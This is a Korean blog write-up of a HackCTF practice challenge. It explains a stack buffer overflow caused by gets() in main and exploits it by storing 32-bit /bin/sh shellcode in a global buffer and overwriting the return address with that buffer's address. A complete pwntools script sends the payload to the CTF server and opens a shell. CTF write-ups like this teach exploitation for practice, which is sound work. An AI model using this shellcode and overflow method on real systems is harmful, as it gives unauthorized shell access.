HACKCTF - 내 버퍼가 흘러넘친다!!!
2020. 7. 9. 07:26ㆍCTF's Write-up
뻔한 BOF문제로 유추가 되니 일단 실행시켜보겠습니다.
별다른 출력없이 입력만 받고 끝나는걸 확인할 수 있습니다.
main함수를 보면 9번째에서 gets에서 입력값에 제한을 두지 않으니 bof가 일어나는것을 확인할 수 있습니다.
그리고 여기서 함수 목록을 보면
별다른 직접 shell을 가져다 주는 함수를 발견할 수 없는데 어떻게 풀이를 할까 고민하다가
직접 쉘코드를 넣는게 가능할까 생각을 해봤더니
NX가 가능하니 쉘코드를 직접 넣으면 될거같네요.
즉 메인함수를 다시 확인하면
1. name에 쉘코드를 넣고
2. s를 bof시켜서 리턴을 name변수로 가게끔 하면 쉘을 얻을 수 있을 것 같네요.
S의 크기는 보이는것처럼 0x14이고 SFP까지 고려해주면 아래와같이 페이로드를 작성할 수 있겠네요.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
from pwn import *
e = ELF("./prob1")
r = remote("ctf.j0n9hyun.xyz", 3003)
#ls = process("./prob1")
context.log_level = 'debug'
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
name_add = 0x0804A060
log.info(r.recv())
payload = shellcode
r.sendline(payload)
log.info(r.recv())
payload = ""
payload += "A"*0x14 + "A"*0x4
payload += p32(name_add)
r.sendline(payload)
r.interactive()
|
cs |
보통은 몇번 실패하고 코드수정해서 익스되는데 한번에 성공해서 너무 행복했습니다 ㅎㅎ
성공~ (grin)
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - Button (0) | 2020.07.09 |
---|---|
HACKCTF - Home (0) | 2020.07.09 |
HACKCTF - Hidden (0) | 2020.07.08 |
HACKCTF - Basic_FSB (0) | 2020.07.08 |
HACKCTF - / (0) | 2020.07.07 |